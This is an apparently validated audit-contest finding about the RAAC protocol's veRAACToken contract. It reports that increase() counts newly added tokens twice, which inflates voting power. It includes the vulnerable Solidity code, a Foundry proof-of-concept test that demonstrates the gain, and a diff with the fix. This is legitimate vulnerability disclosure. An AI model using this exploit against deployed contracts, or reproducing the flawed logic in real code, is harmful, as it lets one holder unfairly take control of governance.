Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Voting Power Calculation in veRAACToken's `increase()` Function Leads to Voting Power Inflation

Summary

The `increase()` function in veRAACToken incorrectly calculates voting power when users add tokens to their existing lock. Users who lock tokens incrementally through multiple `increase()` calls receive more voting power than users who lock the same total amount in a single `lock()` call.

Vulnerability Details

The issue occurs in the increase() function:

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
@> _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}

The vulnerability stems from the function calculating new voting power using `userLock.amount + amount`. This leads to a higher voting power calculation than if the total amount was locked initially.

POC

To use foundry in the codebase, follow the hardhat guide here: Foundry-Hardhat hybrid integration by Nomic foundation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {FeeCollector} from "../../../../contracts/core/collectors/FeeCollector.sol";
import {RAACToken} from "../../../../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../../../../contracts/core/tokens/veRAACToken.sol";
import {Test, console} from "forge-std/Test.sol";
contract TestSuite is Test {
FeeCollector feeCollector;
RAACToken raacToken;
veRAACToken veRAACTok;
address treasury;
address repairFund;
address admin;
uint256 initialSwapTaxRate = 100; //1%
uint256 initialBurnTaxRate = 50; //0.5%
function setUp() public {
treasury = makeAddr("treasury");
repairFund = makeAddr("repairFund");
admin = makeAddr("admin");
raacToken = new RAACToken(admin, initialSwapTaxRate, initialBurnTaxRate);
veRAACTok = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRAACTok), treasury, repairFund, admin);
vm.startPrank(admin);
raacToken.setFeeCollector(address(feeCollector));
raacToken.setMinter(admin);
vm.stopPrank();
}
function testMultipleIncreasesGivesMoreVotingPowerThanOneLock() public {
address oneLockUser = makeAddr("oneLockUser");
address increaseUser = makeAddr("increaseUser");
uint256 oneLockAmount = 2e18;
uint256 increaseLockAmount = 1e18;
uint256 minDuration = veRAACTok.MIN_LOCK_DURATION();
vm.startPrank(admin);
raacToken.mint(oneLockUser, oneLockAmount);
raacToken.mint(increaseUser, oneLockAmount);
vm.stopPrank();
vm.startPrank(oneLockUser);
raacToken.approve(address(veRAACTok), oneLockAmount);
veRAACTok.lock(oneLockAmount, minDuration);
vm.stopPrank();
vm.startPrank(increaseUser);
raacToken.approve(address(veRAACTok), oneLockAmount);
veRAACTok.lock(increaseLockAmount, minDuration);
veRAACTok.increase(increaseLockAmount);
vm.stopPrank();
uint256 oneLockUserVeBalance = veRAACTok.balanceOf(oneLockUser);
uint256 oneLockUserVotingPower = veRAACTok.getVotingPower(oneLockUser);
uint256 increaseUserVeBalance = veRAACTok.balanceOf(increaseUser);
uint256 increaseUserVotingPower = veRAACTok.getVotingPower(increaseUser);
assertGt(increaseUserVeBalance, oneLockUserVeBalance);
assertGt(increaseUserVotingPower, oneLockUserVotingPower);
}
}

Impact

Users can game the system to get more voting power than intended, undermining the fairness of the governance system.

Tools Used

Manual review, foundry test suite

Recommendations

Modify the increase() function to properly calculate voting power:

function increase(uint256 amount) external nonReentrant whenNotPaused {
.
.
.
- (int128 newBias, int128 newSlope) =
- _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
+ (int128 newBias, int128 newSlope) =
+ _votingState.calculateAndUpdatePower(msg.sender, userLock.amount, userLock.end);
.
.
.
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.